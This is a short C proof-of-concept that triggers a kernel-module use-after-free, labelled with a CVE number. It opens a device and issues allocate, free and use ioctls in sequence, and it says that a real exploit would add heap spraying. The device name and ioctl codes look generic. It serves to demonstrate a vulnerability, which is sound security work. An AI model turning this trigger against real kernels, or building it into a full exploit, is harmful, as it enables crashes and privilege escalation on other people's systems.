CVE-2026-34859

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // PoC for CVE-2026-34859 Kernel Module UAF // This code demonstrates the trigger logic for the Use-After-Free vulnerability. #define VULN_IOCTL_ALLOC 0x1 #define VULN_IOCTL_FREE 0x2 #define VULN_IOCTL_USE 0x3 int main() { int fd; printf("[*] Starting PoC for CVE-2026-34859...\n"); // Step 1: Open the vulnerable kernel device fd = open("/dev/cve_2026_34859_dev", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } // Step 2: Allocate kernel object (Create vulnerable object) ioctl(fd, VULN_IOCTL_ALLOC, NULL); printf("[+] Kernel object allocated.\n"); // Step 3: Free the kernel object (Create dangling pointer) // The module frees the memory but retains the pointer. ioctl(fd, VULN_IOCTL_FREE, NULL); printf("[+] Kernel object freed. Dangling pointer exists.\n"); // Step 4: Trigger Use-After-Free // The module attempts to access the freed memory here. // In a real exploit, heap spraying would precede this to control execution. ioctl(fd, VULN_IOCTL_USE, NULL); printf("[+] UAF triggered. Check kernel logs for crash.\n"); close(fd); return 0; }

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